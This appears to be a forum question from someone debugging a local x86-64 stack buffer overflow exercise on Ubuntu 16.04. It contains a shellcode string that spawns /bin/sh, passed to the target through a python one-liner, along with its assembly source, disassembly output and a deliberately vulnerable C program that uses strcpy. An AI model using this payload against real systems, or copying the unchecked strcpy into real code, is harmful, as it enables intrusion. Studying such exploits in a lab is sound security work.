Buffer overflow attack with shell code

I used this shell code for buffer overflow attack

$(python -c 'print "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x0f\x05\xc3"+"a"*31+"\x90\xe4\xff\xff\xff\x7f"')

(python -c is as same as perl -e)

My intention was this assembly code

__asm__ __volatile__
(
  "xor %rdi,%rdi \n\t"
  "push %rdi \n\t"
  "push %rdi \n\t"
  "pop %rsi \n\t"
  "pop %rdx \n\t"
  "movq $0x68732f6e69622f2f,%rdi \n\t"
  "push %rdi \n\t"
  "push %rsp \n\t"       
  "pop %rdi \n\t" 
  "push $0x3b \n\t"
  "pop %rax \n\t"          
  "syscall \n\t"
 );

But when I give shell code to victim program as argument, it decodes shell code as like this.

   0x7fffffffe490:  add    %dh,(%rcx)
   0x7fffffffe492:  callq  *0x57(%rdi)
   0x7fffffffe495:  pop    %rsi
   0x7fffffffe496:  pop    %rdx
   0x7fffffffe497:  movabs $0x5768732f6e69622f,%rdi
   0x7fffffffe4a1:  push   %rsp
   0x7fffffffe4a2:  pop    %rdi
   0x7fffffffe4a3:  pushq  $0x3b
   0x7fffffffe4a5:  pop    %rax
   0x7fffffffe4a6:  syscall 
   0x7fffffffe4a8:  retq   

Why this change occurs?

      4004d6:   55                      push   %rbp
      4004d7:   48 89 e5                mov    %rsp,%rbp
      4004da:   48 31 ff                xor    %rdi,%rdi
      4004dd:   57                      push   %rdi
      4004de:   57                      push   %rdi
      4004df:   5e                      pop    %rsi
      4004e0:   5a                      pop    %rdx
      4004e1:   48 bf 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rdi
      4004e8:   2f 73 68 
      4004eb:   57                      push   %rdi
      4004ec:   54                      push   %rsp
      4004ed:   5f                      pop    %rdi
      4004ee:   6a 3b                   pushq  $0x3b
      4004f0:   58                      pop    %rax
      4004f1:   0f 05                   syscall 
      4004f3:   90                      nop
      4004f4:   5d                      pop    %rbp
      4004f5:   c3                      retq   

I hope my shell code will decode like above but it decodes like strange.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buffer[36];
    strcpy(buffer, argv[1]);
    return 1;
}

Above is victim program source code.

And I use ubuntu 16.04 x64 architecture